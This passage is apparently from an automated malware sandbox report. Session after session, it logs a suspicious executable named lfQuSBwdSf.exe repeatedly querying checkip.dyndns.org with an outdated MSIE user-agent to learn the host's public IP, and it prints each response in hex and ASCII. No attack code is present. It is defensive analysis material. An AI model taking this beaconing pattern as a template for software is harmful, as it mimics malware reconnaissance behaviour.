Apr 8, 2021 11:03:30.367794991 CEST	5134	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49780	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:30.485392094 CEST	5135	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:30.592964888 CEST	5135	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49781	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:30.704296112 CEST	5136	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:30.812805891 CEST	5136	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49782	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:30.921722889 CEST	5137	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:31.028373957 CEST	5137	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49784	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:31.139547110 CEST	5138	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:31.245043039 CEST	5138	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49783	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:31.139666080 CEST	5138	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:31.245871067 CEST	5139	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49726	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:03.263449907 CEST	4965	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:03.370083094 CEST	4966	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49785	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:31.359153986 CEST	5139	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:31.465229988 CEST	5140	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49787	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:31.574191093 CEST	5141	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:31.680071115 CEST	5142	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49788	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:31.793252945 CEST	5147	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:31.899229050 CEST	5149	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49789	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:32.138542891 CEST	5154	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:32.243829012 CEST	5154	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49790	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:32.355576038 CEST	5155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:32.463823080 CEST	5155	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49791	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:32.597414017 CEST	5156	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:32.702333927 CEST	5156	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49792	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:32.810532093 CEST	5156	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:32.915160894 CEST	5157	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49793	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:33.327660084 CEST	5157	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:33.433768988 CEST	5158	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49794	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:33.553150892 CEST	5158	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:33.659982920 CEST	5159	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49796	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:34.491008043 CEST	5165	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:34.597080946 CEST	5165	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49729	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:05.745573044 CEST	4991	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:05.851958036 CEST	4991	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49799	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:34.765099049 CEST	5177	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:34.871043921 CEST	5181	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49800	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:34.983300924 CEST	5217	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:35.091293097 CEST	5218	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49801	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:35.199928999 CEST	5218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:35.306433916 CEST	5219	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49802	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:35.417623043 CEST	5219	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:35.523013115 CEST	5220	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49803	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:35.631524086 CEST	5220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:35.737811089 CEST	5221	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49730	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:08.507339954 CEST	4992	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:08.612941980 CEST	4992	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49731	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:09.783368111 CEST	4992	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
